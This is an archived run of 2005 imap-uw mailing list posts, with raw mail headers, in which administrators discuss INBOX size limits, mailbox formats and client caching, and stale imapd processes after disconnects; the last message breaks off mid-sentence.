mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLK2KPb000744 for ; Wed, 21 Dec 2005 12:02:20 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLK2I0x024361 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Dec 2005 12:02:18 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLK2D7E011473 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Dec 2005 12:02:13 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLK2Dbn032602; Wed, 21 Dec 2005 12:02:13 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLK2ClG032591 for ; Wed, 21 Dec 2005 12:02:12 -0800 Received: from mail99.messagelabs.com (mail99.messagelabs.com [216.82.255.195]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with SMTP id jBLK2BPp020364 for ; Wed, 21 Dec 2005 12:02:11 -0800 X-VirusChecked: Checked X-Env-Sender: msirota@isc.upenn.edu X-Msg-Ref: server-15.tower-99.messagelabs.com!1135195330!11069141!1 X-StarScan-Version: 5.5.9.1; banners=-,-,- X-Originating-IP: [128.91.2.38] Received: (qmail 2120 invoked from network); 21 Dec 2005 20:02:11 -0000 Received: from pobox.upenn.edu (HELO pobox.upenn.edu) (128.91.2.38) by server-15.tower-99.messagelabs.com with SMTP; 21 Dec 2005 20:02:11 -0000 Received: from marmaduke.net.isc.upenn.edu (marmaduke.net.isc.upenn.edu [128.91.197.61]) by pobox.upenn.edu (Postfix) with ESMTP id 8030C1E10; Wed, 21 Dec 2005 15:02:10 -0500 (EST) Date: Wed, 21 Dec 2005 15:02:09 -0500 From: Mark Sirota To: Richard Westlake , imap-uw@u.washington.edu Subject: Re: [Imap-uw] INBOX size [was Mail file fragmentation on Linux] Message-ID: <96C8C70D2A22762344B83404@marmaduke.net.isc.upenn.edu> In-Reply-To: References: <43A8B056.9060601@luxsci.com> X-Mailer: Mulberry/4.0.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --On December 21, 2005 7:34:05 PM +0000 Richard Westlake wrote: > The Apple email client seems to be a particular antisocial with a large > INBOX. We used to be able to tell when one particular Apple user had > arrived, because the mail server would be unusable while their client > connected and scanned for new mail. > > I would be curious if Erik Kangas or anyone else has any suggestions on > how to educate senior staff on the "pleasures of small inboxes" I realize I'm not directly answering your question, but unless these users are running disconnected from the network, you can (and perhaps should) configure Apple Mail not to cache (I think you set the cache size to zero). Apple Mail is an odd duck in that it is a very modern client which appears to be designed to run over slow network connections -- it maintains a cache of data about every message in every mailbox, which it downloads in the background, and it uses that cache for searching and the like rather than asking the server to do it. Real IMAP clients should have no need for local data at all, except when running in disconnected mode (see the late, great Mulberry for an excellent implementation of this). Mark _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Dec 21 12:44:07 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Dec 2005 12:44:07 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKi79H003089 for ; Wed, 21 Dec 2005 12:44:07 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKi4Ao032326 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Dec 2005 12:44:04 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKi0UF031102 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Dec 2005 12:44:00 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKi0Hp016606; Wed, 21 Dec 2005 12:44:00 -0800 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKhwFx016598 for ; Wed, 21 Dec 2005 12:43:58 -0800 Received: from mx0.d.umn.edu (mx0.d.umn.edu [131.212.109.42]) by mxe3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKhjOR020536 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Dec 2005 12:43:51 -0800 Received: from mx2.d.umn.edu (mx2.d.umn.edu [131.212.109.37]) by mx0.d.umn.edu (8.12.9/8.12.9) with SMTP id jBLKhMH0012163; Wed, 21 Dec 2005 14:43:25 -0600 (CST) Received: from smtp.d.umn.edu ([131.212.109.40]) by mx2.d.umn.edu (SAVSMTP 3.1.3.37) with SMTP id M2005122114432414936 ; Wed, 21 Dec 2005 14:43:24 -0600 Received: from borg.d.umn.edu (borg.d.umn.edu [131.212.60.98]) by smtp.d.umn.edu (8.12.9/8.12.9) with ESMTP id jBLKhJpw005005 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Dec 2005 14:43:19 -0600 (CST) Received: from localhost (shollatz@localhost) by borg.d.umn.edu (8.12.9/8.12.9) with ESMTP id jBLKhIJh015336; Wed, 21 Dec 2005 14:43:19 -0600 (CST) X-Authentication-Warning: borg.d.umn.edu: shollatz owned process doing -bs Date: Wed, 21 Dec 2005 14:43:18 -0600 (CST) From: scott hollatz To: Richard Westlake Subject: Re: [Imap-uw] INBOX size [was Mail file fragmentation on Linux] In-Reply-To: Message-ID: References: <43A8B056.9060601@luxsci.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu > > I would vote for this and I would use this. In particular, I would > > imagine a periodic process that > > > > * See if there is contiguous space available to defragmentation on the > > system (and how big?) > > * finds "large" folders (especially INBOXES) > > * Sees if they are fragmented > > * If they are "sufficiently fragmented", defragment > > > > This would help performance somewhat for people to keep large inboxes -- > > until they can be taught the pleasures of small inboxes. > > I would be interest in what people consider being a reasonable maximum > INBOX size and if there is any online resources covering the problems > caused by large INBOX. > > Most of the accounts on our email serve have an INBOX smaller then > 150Mbyte, the rest are smaller then 500Mbyte, which is an improvement as > we did have, files larger then 1Gbyte. [stuff deleted] We limit the inbox to about 15MB (+/- 5MB depending on who you are) via the lock+move+unlock+inform method. This may sound draconian but keeps inbox sizes down, the user knows how to get the moved mail, and all are generally happy. We have four two-node Sun V400 clusters typically with 1K users on each cluster. -- scott hollatz net shollatz@d.UMn.eDu information technology systems and services tel +1 218 726 8851 university of minnesota duluth mn usa fax +1 218 726 7674 -- "gabba gabba hey" - the ramones _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Dec 21 12:50:39 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Dec 2005 12:50:39 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKodjc003408 for ; Wed, 21 Dec 2005 12:50:39 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKocQc027665 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Dec 2005 12:50:38 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKoYMt022297 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Dec 2005 12:50:35 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKoYCL017466; Wed, 21 Dec 2005 12:50:34 -0800 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKoXjL017446 for ; Wed, 21 Dec 2005 12:50:33 -0800 Received: from dogbert.cc.ndsu.NoDak.edu (dogbert.cc.ndsu.NoDak.edu [134.129.106.23]) by mxe1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLKoReM021500 for ; Wed, 21 Dec 2005 12:50:29 -0800 Received: from localhost (mooney@localhost) by dogbert.cc.ndsu.NoDak.edu (8.11.7/8.11.7) with ESMTP id jBLKoQf112778 for ; Wed, 21 Dec 2005 14:50:26 -0600 (CST) Date: Wed, 21 Dec 2005 14:50:25 -0600 (CST) From: Tim Mooney To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] INBOX size [was Mail file fragmentation on Linux] In-Reply-To: Message-ID: References: <43A8B056.9060601@luxsci.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu In regard to: [Imap-uw] INBOX size [was Mail file fragmentation on Linux],...: > I would be interest in what people consider being a reasonable maximum INBOX > size and if there is any online resources covering the problems caused by > large INBOX. Reasonable depends on format. MBX format INBOXes give significantly improved performance, even at much larger sizes and message counts, than traditional "From " format mailboxes. I still recommend keeping the INBOX small (and try to lead by example), but the format does make a huge difference. My gripe with both traditional and MBX INBOXes relates more to backups than it does to client access. Tim -- Tim Mooney mooney@dogbert.cc.ndsu.NoDak.edu Information Technology Services (701) 231-1076 (Voice) Room 242-J6, IACC Building (701) 231-8541 (Fax) North Dakota State University, Fargo, ND 58105-5164 _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Dec 21 13:22:02 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Dec 2005 13:22:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLM1fo005257 for ; Wed, 21 Dec 2005 13:22:01 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLM0fh002359 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Dec 2005 13:22:00 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLLua9015237 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Dec 2005 13:21:56 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLLuQV022006; Wed, 21 Dec 2005 13:21:56 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLLsIQ021997 for ; Wed, 21 Dec 2005 13:21:54 -0800 Received: from rs27.luxsci.com (rs27.luxsci.com [66.216.127.24]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLLr56005438 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Wed, 21 Dec 2005 13:21:54 -0800 Received: from [127.0.0.1] (c-65-96-147-245.hsd1.ma.comcast.net [65.96.147.245]) (authenticated bits=0) by rs27.luxsci.com (8.13.5/8.13.5) with ESMTP id jBLLLgoA025066 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 21 Dec 2005 15:21:43 -0600 Message-ID: <43A9C788.2050906@luxsci.com> Date: Wed, 21 Dec 2005 16:22:16 -0500 From: Erik Kangas User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Richard Westlake Subject: Re: [Imap-uw] INBOX size [was Mail file fragmentation on Linux] References: <43A8B056.9060601@luxsci.com> In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Richard Westlake wrote: > On Tue, 20 Dec 2005, Erik Kangas wrote: > > I would be interest in what people consider being a reasonable maximum > INBOX size and if there is any online resources covering the problems > caused by large INBOX. > > Most of the accounts on our email serve have an INBOX smaller then > 150Mbyte, the rest are smaller then 500Mbyte, which is an improvement as > we did have, files larger then 1Gbyte. > ... > I would be curious if Erik Kangas or anyone else has any suggestions on > how to educate senior staff on the "pleasures of small inboxes" Hello, What is a "too large" inbox depends on many factors. Lets assume you use mbx-formatted mailboxes: * The throughput of your I/O system is the central variable. I recommend very fast SCSI drives in a RAID array that gives you a boost from striping * How physically large the files are * How fragmented files are * How many messages are in the files. * How busy the server [I/O] is I.e. you can have a "small" mailbox (say 75 Mb) that has many thousands of messages that will be much much slower than a larger mailbox with many fewer messages due to all the work the IMAP server has to do. You will also see that as your server gets busier with more users and more fragmented files, the bigger folders become slower and slower for obvious reasons. For education, I would recommend pitching small mailboxes as in the users' best interests as they will be more productive, access things faster, etc. Watch out for: * People who use POP to check their email, leave it on the server, and let it build up. This is REALLY inefficient as the INBOX grows. * People who subscribe to all folders in their account - thus having their email client select them all every few minutes (Entourage will do this if you are not careful). I heard Mark Crispin say that they were working on a new email folder format that would be much faster ... i.e. one where the metadata and/or header data would be stored in separate index files so that access would be much less dependent on folder size or number of messages. Can we have a progress report? :) Best, -Erik Kangas LuxSci.com _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Dec 21 13:25:06 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Dec 2005 13:25:05 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLP5cv005399 for ; Wed, 21 Dec 2005 13:25:05 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLP4iZ029963 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Dec 2005 13:25:04 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLP0ih030335 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Dec 2005 13:25:01 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLP08A022464; Wed, 21 Dec 2005 13:25:00 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLOxv8022448 for ; Wed, 21 Dec 2005 13:24:59 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLOwpn004365 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 21 Dec 2005 13:24:59 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLOwrS006302 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Dec 2005 13:24:58 -0800 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBLLOvml015832 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 21 Dec 2005 13:24:58 -0800 Date: Wed, 21 Dec 2005 13:22:55 -0800 (Pacific Standard Time) From: Mark Crispin To: Erik Kangas Subject: Re: [Imap-uw] INBOX size [was Mail file fragmentation on Linux] In-Reply-To: <43A9C788.2050906@luxsci.com> Message-ID: References: <43A8B056.9060601@luxsci.com> <43A9C788.2050906@luxsci.com> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Wed, 21 Dec 2005, Erik Kangas wrote: > I heard Mark Crispin say that they were working on a new email folder format > that would be much faster ... i.e. one where the metadata and/or header data > would be stored in separate index files so that access would be much less > dependent on folder size or number of messages. Can we have a progress > report? :) The short answer is "stalled due to other tasks, but probably going to return back to it shortly". We have a prototype that worked well, but it wasn't "ready for prime time" in the distribution. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 22 15:45:04 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Dec 2005 15:45:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBMNj3as018673 for ; Thu, 22 Dec 2005 15:45:03 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBMNj30T029415 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 22 Dec 2005 15:45:03 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBMNixPA020072 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 22 Dec 2005 15:44:59 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBMNixX6020967; Thu, 22 Dec 2005 15:44:59 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBMNiwek020946 for ; Thu, 22 Dec 2005 15:44:58 -0800 Received: from services.cse.ucsc.edu (services.cse.ucsc.edu [128.114.48.10]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBMNivjb019758 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 22 Dec 2005 15:44:57 -0800 Received: from [127.0.0.1] (dhcp-55-110.cse.ucsc.edu [128.114.55.110]) by services.cse.ucsc.edu (8.13.1/8.13.1) with ESMTP id jBMNiu1E025492 for ; Thu, 22 Dec 2005 15:44:57 -0800 (PST) Message-ID: <43AB3A78.9010201@soe.ucsc.edu> Date: Thu, 22 Dec 2005 15:44:56 -0800 From: Terry Figel User-Agent: Mozilla Thunderbird 1.0.7 (Windows/20050923) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Question regarding behavior of imapd X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi- I've witnessed the following from various clients: The client has imap set to check their email every 15 minutes (or whatever), the server has recieved new mail, but the client does not get any notification of this Sometimes restarting the client fixes it. othertimes you need to kill the imapd process on the server. Is this a known problem? ( I was familiar and living with it for years, but someone suggested mailing this list) In the current solaris 9 environment, the mail spool and home directories are local. I've seen 100's of these stale processes, typically to home DSL or cable boxes. Is there a reason imapd does not die, on a non-graceful disconnect? -Terry Figel _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Dec 22 16:05:50 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 22 Dec 2005 16:05:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05nRh019762 for ; Thu, 22 Dec 2005 16:05:49 -0800 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05moC030664 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 22 Dec 2005 16:05:49 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05jUI023709 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 22 Dec 2005 16:05:45 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05i7o024183; Thu, 22 Dec 2005 16:05:44 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05hLZ024174 for ; Thu, 22 Dec 2005 16:05:43 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05hOP000692 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 22 Dec 2005 16:05:43 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05gOl029531 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 22 Dec 2005 16:05:42 -0800 X-Auth-Received: from Shimo-Tomobiki.panda.com (panda.com [206.124.149.114]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id jBN05fOW027617 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 22 Dec 2005 16:05:42 -0800 Date: Thu, 22 Dec 2005 16:05:37 -0800 From: Mark Crispin To: Terry Figel Subject: Re: [Imap-uw] Question regarding behavior of imapd In-Reply-To: <43AB3A78.9010201@soe.ucsc.edu> Message-ID: References: <43AB3A78.9010201@soe.ucsc.edu> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 22 Dec 2005, Terry Figel wrote: > I've witnessed the following from various clients: > The client has imap set to check their email every 15 minutes (or whatever), > the server has recieved new mail, but the client does not get any > notification of this > Sometimes restarting the client fixes it. > othertimes you need to kill the imapd process on the server. I suspect that this is a client issue, not a server issue. There is no such thing as "setting IMAP to check every 15 minutes". Presumably, what is happening is that the client is set to issue an IMAP command, even if it's just a no-op, at least every 15 minutes in order to cycle the protocol and cause new mail notification. If the client uses the IDLE extension (e.g., Outlook and Outlook Express), make sure that you have the most recent release of UW imapd (imap-2004g), due to the following issues: There is an issue caused by client use of NAT which will cause the NAT mapping to expire if the session is idle for more than a couple of minutes. To avoid this, recent versions of UW imapd send an announcement while in IDLE mode, even if there is no new mail to announce. There is another issue related to IDLE; Outlook 